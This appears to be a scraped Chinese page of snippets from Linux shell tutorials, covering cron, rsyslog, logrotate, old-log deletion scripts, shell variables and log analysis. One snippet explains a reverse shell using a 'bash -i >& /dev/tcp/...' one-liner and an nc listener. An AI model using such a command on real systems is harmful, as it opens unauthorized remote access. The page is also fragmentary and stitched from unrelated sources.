文章目录 一.任务计划 1.一次性调度执行——at 2.循环调度执行——cron 3.符号说明 4.使用实例 二.日志管理 rsyslogd配置文件 rules规则 三.日志轮转程序logrotate...Linux11任务计划,日志管理 一.任务计划 1.一次性调度执行——at #at 时间 eg.两分钟后执行以下指令 at执行后可以设置多条命令,ctrl+d退出 2.循环调度执行——cron...一般存放在/var/log/… 1.日志管路进程rsyslog——产生日志进程 什么程序-做了什么事-记录到什么位置 如果没有这个进程要安装#yum install -y rsyslog 然后再启动...#systemctl start rsyslog 其配置文件是rsyslogd 2.系统日志文件/var/log/里面的文件基本后缀都为.log 系统主日志文件/var/log/message 用于记录大多数系统的操作...此时再开一个终端执行watch命令,就可以实时看到日志文件的变化 ---- tail /var/log/secure ——认证安全相关的日志 tail /var/log/yum.log ——yum相关的日志
在Linux系统中,日志的使用非常频繁,那么对日志就需要一定策略的管理,包括存放目录的设计,log文件命名规则,历史log文件的存放,log目录的容量限制,另外还有日志轮循。...日志轮循就是,将过期的log文件以新的文件名存放,创建一个新的log文件供应用使用,同时合理管理存储的历史log文件的个数。 用shell脚本实现的日志轮循功能: 01....文件1:LogRotate.conf 日志轮循配置文件。...里面包含的各个变量是日志轮循的各种属性,有轮循频率,保存历史log文件个数,需要进行轮循的日志目录,是否进入当前日志目录的子目录进行轮循,日志目录存储容量大小限制,日志文件权限。 02....shell笔记 01. 函数的两种返回方式:echo 和return。echo的值可以通过ret=echo $(fun arg1 arg2)来得到,return的值存于$?中,ret=$?
mtime +30 -name "*.log" -exec rm -rf {} \; 说明: find 对应目录 -mtime +天数 -name “文件名” -exec rm -rf {} ; find:linux...-exec:固定写法; rm -rf:强制删除文件,包括目录; {} ; 固定写法,一对大括号+空格++; 二、计划任务: 1、创建shell文件 创建可执行shell文件 touch /data/shell.../bin/del-30-days-ago-log.sh 添加文件可运行权限 chmod +x /data/shell/bin/del-30-days-ago-log.sh 2、shell文件中添加脚本...vim /data/shell/bin/del-30-days-ago-log.sh 打开创建的文件后,添加下面的数据。...添加文件可运行权限 chmod +x /data/shell/bin/del-30-days-ago-log.sh 2、保存系统定时任务文件出现问题 (1)、空格问题 多一个空格,或者少一个空格。
/bin/bash #删除30天以前的日志数据 日志位于./logs 文件夹下 find ..../logs/ -mtime +30 -name "*.log*" -exec rm -rf {} \; 第二种方式:根据文件名 #要删除日志的时间区间 log_dir=/logs content=$(date
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
只不过对于空白行不编号 -s 或 –squeeze-blank 当遇到有连续两行以上的空白行,就代换为一行的空白行 -v 或 –show-nonprinting 2、more命令: 以百分比的形式查看日志...注意: 最后一条命令非常有用,尤其在监控日志文件时,可以在屏幕上一直显示新增的日志信息。
背景 服务器有敏感数据,不允许直接登陆服务器查看日志文件,也不允许使用如ELK等日志功能收集日志,所以只能使用最简单的办法,只将错误日志进行收集,然后通过应用的webhook进行收集。...思路 两种思路: 周期轮询 实时抓取 周期轮询 每隔一分钟去抓取一次,错误日志的内容上送webhook。 这样的好处是不会抓到过多的错误日志,但是也有个问题,有可能会错过关键的错误日志。...另外脚本尽量使用python而不是shell,python更好维护,也利于扩展。写shell是因为历史原因。...exclude.txt SLACK=https://hooks.slack.com/services/test_webhook LOG_DIR=/Users/liukai/workspaces/temp/shell...echo $message | sed s/\'//g` #echo "$IP,$(date),$line" >> /Users/liukai/workspaces/temp/shell
前面我们说了shell分析日志常用指令,现在我们随ytkah一起看看shell日志分析进阶篇,假设日志文件为ytkah.log //统计不重复抓取数量 cat ytkah.log | awk '{print
我们平时查日志,在测试环境,日志文件只有几个的情况下,我们可以通过找时间接近的文件然后根据关键词定位报错位置,大不了都查一遍,这都可以忍受。...但是在实际的生产环境下,服务器集群部署,每天的日志非常多非常多,每台机器都会有几十个甚至多达上百个、数百个日志文件产生。遇到问题需要查询日志时,你会发现如果一个个文件去查,你会崩溃掉。...为了解决这种问题,大多数人会去编写shell脚本,用来检索日志文件,这样能筛掉很多无用文件,减轻查日志的工作量。...缩小报错文件范围,是查日志提高效率的前提。 下面这段代码是就是简单的筛选日志文件的shell脚本。如果你懂shell编程,可以在此基础上修改,添加你自己需要的功能。 #!...(与shell脚本同目录),然后我们对tmp下的日志进行操作。
数据分析对于网站运营人员是个非常重要的技能,日志分析是其中的一个。日志分析可以用专门的工具进行分析,也可以用原生的shell脚本执行,下面就随ytkah看看shell分析日志常用指令有哪些吧。...表示打印第一部分,就是ip uniq 是将重复行去掉, -c表示前面前面加上数目, sort -rn 就是按照数字从大到小排序, head -20取前面20行 你可能会喜欢:shell...日志分析进阶篇
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时,其两边都必须加空格,否则失效!!!...用简化 if 和$1,$2,$3来检测参数,不合理就调用help [ -z “$1” ] &&help 如果第一个参数不存在(-z 字符串长度为0 ) [ “$1”
什么是shell shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... # # nested if if [ $osch -eq 2 ] then echo "you pick up linux..." else echo "what you donot like unix/linux" fi fi #!
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...=||/usr/bin/lesspipe.sh %sXDG_RUNTIME_DIR=/run/user/0HISTTIMEFORMAT=%F %T root_=/usr/bin/printenv 在 shell...Substitution and Constants 命令替换 echo Updated on $(date +"%x %r %Z") by $USER $(date+"%x %r %Z") 中 $() 告诉 shell...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin...号表示相反的意思) -z:字符串内容为空(长度为零)则为真 测试: [ "as" = "aa" ];echo $? [ "as" != "aa" ];echo $?...;; pen|pencil) echo "study" ;; *) echo "usages: cat|dog|pen|pencil" esac 十一、Linux
在 Shell 语言中,可以直接定义变量。不过需要注意,在定义变量的过程中需要遵守一定的规则。这与绝大部分的编程语言类似。...~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell
不同的日志格式 以为上面就解决了日志清洗的所有问题?No!...v3 版本的,另外还有 v2 版本,这个是最老的日志,与 v3 的区别是日志级别是放在最前面的,时间没有毫秒值;还有 v3.1 版本,这个是最新的日志,与 v3 的区别是日志级别之前加了一个模块名称字段...下面直接上代码,首先是 shell 脚本部分 (guxplot.sh): 1 #! /bin/bash 2 arg="logs='" 3 logs=$(cd plot; find ....这里系统的话由于WinXP 和 Win7+ 存放的目录不一样,所以要区分一下,注意这个脚本虽然是 shell 脚本,但是是运行在 Windows 系统上的,所以一些 windows 的工具和命令也是可以直接调用的...结语 其实前面稍微提到了一点,就是我是在 Windows 环境下运行 shell 脚本的,使用的是 msys2,一种类似 cygwin 的东东,我前几篇文章都有提到过。
shell是一种解释型的语言,我们写好了代码后,不需要编译,直接运行即可。平时我们会用它来写一些脚本,比如备份,或者启动脚本,切割日志等。...当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。
领取专属 10元无门槛券
手把手带您无忧上云